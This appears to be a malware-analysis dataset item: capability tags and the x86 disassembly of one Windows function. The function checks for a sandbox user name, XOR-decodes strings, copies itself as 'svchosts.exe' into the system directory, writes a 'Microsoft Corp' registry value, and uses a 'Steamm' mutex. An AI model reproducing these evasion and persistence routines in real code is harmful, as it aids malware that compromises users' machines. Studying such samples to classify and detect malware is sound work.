Function at 0x402130
Capabilities:
Check for sandbox username or hostname
Encode data using xor
Get common file path
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x534
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x530], eax
push ebx
push esi
push edi
push 0x80
lea eax, [esp + 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [0x406080]
mov cl, byte [esp + 0x2b8]
mov byte [0x4064a8], cl
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
inc dword [0x406098]
add esp, 4
inc dword [0x4060c0]
inc dword [0x406094]
inc dword [0x406058]
inc dword [0x406064]
inc dword [0x406070]
inc dword [0x4060a0]
inc dword [0x40607c]
inc dword [0x4060c4]
inc dword [0x4060a4]
inc dword [0x4060b4]
inc dword [0x406078]
inc dword [0x40609c]
inc dword [0x406088]
inc dword [0x4060b0]
inc dword [0x406068]
inc dword [0x4060b8]
inc dword [0x4060ac]
inc dword [0x40606c]
inc dword [0x406090]
inc dword [0x40608c]
inc dword [0x4060a8]
inc dword [0x40605c]
inc dword [0x406084]
inc dword [0x406074]
inc dword [0x406060]
inc dword [0x4060bc]
call fcn.00401050
test al, al
je 0x402501
lea eax, [esp + 0x1a0]
mov dword [esp + 0x1a0], 0x100
push eax
lea eax, [esp + 0x43c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, str.CurrentUser
lea eax, [esp + 0x438]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402280
test dl, dl
je 0x40227c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402280
add eax, 2
add ecx, 2
test dl, dl
jne 0x402260
xor eax, eax
jmp 0x402285
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402290
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x100
lea eax, [esp + 0x33c]
push eax
push 0
call dword [0x4064bc]
push eax
call dword [0x4064b4]
push 0
push dword [0x406080]
call dword [0x4064b0]
push str.svchosts.exe
push dword [0x406080]
lea eax, [esp + 0x1c0]
push str._s_s
push eax
call fcn.00401010
mov edi, dword [0x406074]
add esp, 0x10
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4022e5
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov ebx, eax
sub eax, edi
nop
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x402300
xor ecx, ecx
test esi, esi
jle 0x40231e
xor byte [ebx + ecx], cl
lea eax, [ebx + ecx]
inc ecx
cmp ecx, esi
jl 0x402313
push 0
lea eax, [esp + 0x10]
mov byte [ebx + esi], 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ebx
push connect
call dword [0x4064a4]
push ebx
call fcn.00402564
lea ecx, [esp + 0x1bc]
add esp, 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402355
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x1bc]
push eax
push 1
push 0
push str.Microsoft_Corp
push dword [esp + 0x20]
call dword [0x4064d0]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x338]
lea eax, [esp + 0x1b8]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4023b5
test dl, dl
je 0x4023b1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4023b5
add eax, 2
add ecx, 2
test dl, dl
jne 0x402395
xor eax, eax
jmp 0x4023ba
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402471
push str.Steamm
push eax
push eax
call dword [0x4064c8]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4023e4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [0x4060b0]
mov esi, edi
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x4023f0
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.00402766
add esp, 4
mov ebx, eax
sub eax, edi
nop dword [eax]
mov cl, byte [edi]
lea edi, [edi + 1]
mov byte [edi + eax - 1], cl
test cl, cl
jne 0x402410
xor ecx, ecx
test esi, esi
jle 0x40242e
xor byte [ebx + ecx], cl
lea eax, [ebx + ecx]
inc ecx
cmp ecx, esi
jl 0x402423
push ebx
mov byte [ebx + esi], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
call fcn.00402564
add esp, 4
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [0x4064d4]
test eax, eax
jne 0x402501
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x530]
xor ecx, esp
call fcn.00402556
mov esp, ebp
pop ebp
ret
mov eax, dword [0x404484]
movq xmm0, qword [str.copy___s____s_]
mov dword [esp + 0x1b0], eax
mov ax, word [0x404488]
mov word [esp + 0x1b4], ax
mov al, byte [0x40448a]
mov byte [esp + 0x1b6], al
mov eax, dword [str.__s_]
mov dword [esp + 0x1a0], eax
mov al, byte [0x404490]
mov byte [esp + 0x1a4], al
lea eax, [esp + 0x1b8]
push eax
lea eax, [esp + 0x33c]
movq qword [esp + 0x1ac], xmm0
push eax
lea eax, [esp + 0x1b0]
push eax
push 1
call fcn.00401ff0
lea eax, [esp + 0x1c8]
push eax
lea eax, [esp + 0x1b4]
push eax
push 1
call fcn.00401ff0
add esp, 0x1c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 0x53c]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402556
mov esp, ebp
pop ebp
ret